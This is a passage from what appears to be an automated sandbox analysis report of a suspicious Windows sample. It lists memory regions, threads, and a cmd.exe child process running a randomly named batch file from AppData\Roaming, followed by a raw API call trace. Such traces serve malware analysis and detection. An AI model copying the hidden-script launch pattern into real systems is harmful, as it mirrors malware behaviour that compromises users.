"private_0x000007fffffd5000" filename = "" Region: id = 1809 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1810 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1811 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1812 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1813 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3647 start_va = 0xd60000 end_va = 0xd60fff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 3648 start_va = 0xe50000 end_va = 0xecffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 3649 start_va = 0x2a70000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 3650 start_va = 0x2b70000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 3651 start_va = 0x2bf0000 end_va = 0x2c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 3652 start_va = 0x3030000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 3653 start_va = 0x3300000 end_va = 0x33fffff entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 3654 start_va = 0x35a0000 end_va = 0x361ffff entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 3655 start_va = 0x3710000 end_va = 0x378ffff entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 3656 start_va = 0x3840000 end_va = 0x38bffff entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 3657 start_va = 0x3a50000 end_va = 0x3acffff entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 3658 start_va = 0x4640000 end_va = 0x483ffff entry_point = 0x0 region_type = private name = "private_0x0000000004640000" filename = "" Region: id = 3659 start_va = 0x7fef5ae0000 end_va = 0x7fef5af5fff entry_point = 0x7fef5ae0000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 3660 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 3661 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 3662 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 3663 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 3664 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Thread: id = 80 os_tid = 0x638 Thread: id = 81 os_tid = 0x644 Thread: id = 82 os_tid = 0x648 Thread: id = 83 os_tid = 0x428 Thread: id = 84 os_tid = 0x15c Thread: id = 85 os_tid = 0x748 Thread: id = 86 os_tid = 0x744 Thread: id = 87 os_tid = 0x740 Thread: id = 88 os_tid = 0x6e8 Thread: id = 89 os_tid = 0x6d4 Thread: id = 90 os_tid = 0x6cc Thread: id = 91 os_tid = 0x6c8 Thread: id = 92 os_tid = 0x6c4 Thread: id = 93 os_tid = 0x6bc Thread: id = 94 os_tid = 0x6b8 Thread: id = 95 os_tid = 0x6a4 Thread: id = 96 os_tid = 0x69c Thread: id = 97 os_tid = 0x698 Thread: id = 98 os_tid = 0x694 Thread: id = 99 os_tid = 0x67c Thread: id = 100 os_tid = 0x670 Thread: id = 101 os_tid = 0x4a8 Thread: id = 102 os_tid = 0x478 Thread: id = 103 os_tid = 0x470 Thread: id = 104 os_tid = 0x420 Thread: id = 105 os_tid = 0x41c Thread: id = 106 os_tid = 0x418 Thread: id = 107 os_tid = 0x414 Thread: id = 108 os_tid = 0x120 Thread: id = 109 os_tid = 0x3dc Thread: id = 110 os_tid = 0x3b8 Thread: id = 111 os_tid = 0x3b4 Thread: id = 112 os_tid = 0x394 Thread: id = 113 os_tid = 0x390 Thread: id = 114 os_tid = 0x340 Thread: id = 115 os_tid = 0x33c Thread: id = 116 os_tid = 0x338 Thread: id = 117 os_tid = 0x334 Thread: id = 118 os_tid = 0x330 Thread: id = 119 os_tid = 0x32c Thread: id = 135 os_tid = 0xbdc Thread: id = 136 os_tid = 0xbe0 Thread: id = 137 os_tid = 0xbe4 Thread: id = 224 os_tid = 0x1ac Thread: id = 225 os_tid = 0x3e0 Thread: id = 228 os_tid = 0x6d8 Thread: id = 229 os_tid = 0x6ac Thread: id = 230 os_tid = 0x224 Thread: id = 231 os_tid = 0x3c8 Thread: id = 232 os_tid = 0x6f0 Thread: id = 234 os_tid = 0x690 Thread: id = 236 os_tid = 0x72c Thread: id = 237 os_tid = 0x4d4 Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x5f3ec000" os_pid = "0xbb0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xa90" cmd_line = "cmd /c \"\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"\"" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1856 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1857 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1858 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1859 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1860 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1861 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1862 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1863 start_va = 0x4a0f0000 end_va = 0x4a13bfff entry_point = 0x4a0f829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1864 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1865 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1866 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1867 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1868 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1869 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1870 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1871 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1872 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1873 start_va = 0x340000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1874 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1875 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1876 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1877 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 1878 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 1879 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1880 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1881 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1882 start_va = 0x490000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 1883 start_va = 0x6d0000 end_va = 0x6dffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 1884 start_va = 0x73fb0000 end_va = 0x73fb6fff entry_point = 0x73fb1230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1885 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1886 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1887 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1888 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1889 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1890 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1891 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1892 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1893 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1894 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1895 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1896 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1897 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1898 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1899 start_va = 0x6e0000 end_va = 0x867fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1900 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1901 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1902 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1903 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1904 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1905 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1906 start_va = 0x870000 end_va = 0x9f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 1907 start_va = 0xa00000 end_va = 0x1dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1908 start_va = 0x1e00000 end_va = 0x2142fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 1909 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1910 start_va = 0x2150000 end_va = 0x241efff entry_point = 0x2150000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 129 os_tid = 0xbb4 [0075.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efc9c | out: lpSystemTimeAsFileTime=0x1efc9c*(dwLowDateTime=0xe7627180, dwHighDateTime=0x1d3468a)) [0075.704] GetCurrentProcessId () returned 0xbb0 [0075.704] GetCurrentThreadId () returned 0xbb4 [0075.704] GetTickCount () returned 0x1a302 [0075.704] QueryPerformanceCounter (in: lpPerformanceCount=0x1efc94 | out: lpPerformanceCount=0x1efc94*=411357016) returned 1 [0075.704] GetModuleHandleA (lpModuleName=0x0) returned 0x4a0f0000 [0075.704] __set_app_type (_Type=0x1) [0075.704] __p__fmode () returned 0x756431f4 [0075.704] __p__commode () returned 0x756431fc [0075.705] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1121a6) returned 0x0 [0075.705] __getmainargs (in: _Argc=0x4a114238, _Argv=0x4a114240, _Env=0x4a11423c, _DoWildCard=0, _StartInfo=0x4a114140 | out: _Argc=0x4a114238, _Argv=0x4a114240, _Env=0x4a11423c) returned 0 [0075.705] GetCurrentThreadId () returned 0xbb4 [0075.705] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbb4) returned 0x60 [0075.705] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0075.705] GetProcAddress (hModule=0x76520000, lpProcName="SetThreadUILanguage") returned 0x7654a84f [0075.705] SetThreadUILanguage (LangId=0x0) returned 0x409 [0075.705] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.705] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1efc2c | out: phkResult=0x1efc2c*=0x0) returned 0x2 [0075.705] VirtualQuery (in: lpAddress=0x1efc63, lpBuffer=0x1efbfc, dwLength=0x1c | out: lpBuffer=0x1efbfc*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.705] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1efbfc, dwLength=0x1c | out: lpBuffer=0x1efbfc*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0075.705] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1efbfc, dwLength=0x1c | out: lpBuffer=0x1efbfc*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0075.705] VirtualQuery (in: lpAddress=0xf3000, lpBuffer=0x1efbfc, dwLength=0x1c | out: lpBuffer=0x1efbfc*(BaseAddress=0xf3000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.705] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1efbfc, dwLength=0x1c | out: lpBuffer=0x1efbfc*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.705] GetConsoleOutputCP () returned 0x1b5 [0075.706] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0075.706] SetConsoleCtrlHandler (HandlerRoutine=0x4a10e72a, Add=1) returned 1 [0075.706] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0075.706] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0075.706] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0075.706] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0075.706] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0075.706] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0075.706] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0075.706] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0075.706] GetEnvironmentStringsW () returned 0x4a2238* [0075.706] FreeEnvironmentStringsW (penv=0x4a2238) returned 1 [0075.707] GetEnvironmentStringsW () returned 0x4a2238* [0075.707] FreeEnvironmentStringsW (penv=0x4a2238) returned 1 [0075.707] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eeb9c | out: phkResult=0x1eeb9c*=0x68) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x0, lpData=0x1eeba8*=0x0, lpcbData=0x1eeba0*=0x1000) returned 0x2 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x1, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x0, lpData=0x1eeba8*=0x1, lpcbData=0x1eeba0*=0x1000) returned 0x2 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x0, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x40, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x40, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x0, lpData=0x1eeba8*=0x40, lpcbData=0x1eeba0*=0x1000) returned 0x2 [0075.707] RegCloseKey (hKey=0x68) returned 0x0 [0075.707] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eeb9c | out: phkResult=0x1eeb9c*=0x68) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x0, lpData=0x1eeba8*=0x40, lpcbData=0x1eeba0*=0x1000) returned 0x2 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x1, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x0, lpData=0x1eeba8*=0x1, lpcbData=0x1eeba0*=0x1000) returned 0x2 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x0, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x9, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x4, lpData=0x1eeba8*=0x9, lpcbData=0x1eeba0*=0x4) returned 0x0 [0075.707] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eeba4, lpData=0x1eeba8, lpcbData=0x1eeba0*=0x1000 | out: lpType=0x1eeba4*=0x0, lpData=0x1eeba8*=0x9, lpcbData=0x1eeba0*=0x1000) returned 0x2 [0075.707] RegCloseKey (hKey=0x68) returned 0x0 [0075.707] time (in: timer=0x0 | out: timer=0x0) returned 0x59e4c1d4 [0075.707] srand (_Seed=0x59e4c1d4) [0075.707] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"\"" [0075.707] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"\"" [0075.708] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a115260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0075.708] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4a45c8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0075.708] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.708] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.708] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.708] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.708] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0075.708] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0075.708] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0075.708] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0075.708] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0075.708] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0075.708] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0075.708] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0075.708] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0075.708] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef968 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0075.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef968, lpFilePart=0x1ef964 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x1ef964*="Desktop") returned 0x19 [0075.708] GetFileAttributesW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 0x11 [0075.708] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef6e4 | out: lpFindFileData=0x1ef6e4) returned 0x4a47d8 [0075.708] FindClose (in: hFindFile=0x4a47d8 | out: hFindFile=0x4a47d8) returned 1 [0075.708] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW", lpFindFileData=0x1ef6e4 | out: lpFindFileData=0x1ef6e4) returned 0x4a47d8 [0075.708] FindClose (in: hFindFile=0x4a47d8 | out: hFindFile=0x4a47d8) returned 1 [0075.708] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", lpFindFileData=0x1ef6e4 | out: lpFindFileData=0x1ef6e4) returned 0x4a47d8 [0075.709] FindClose (in: 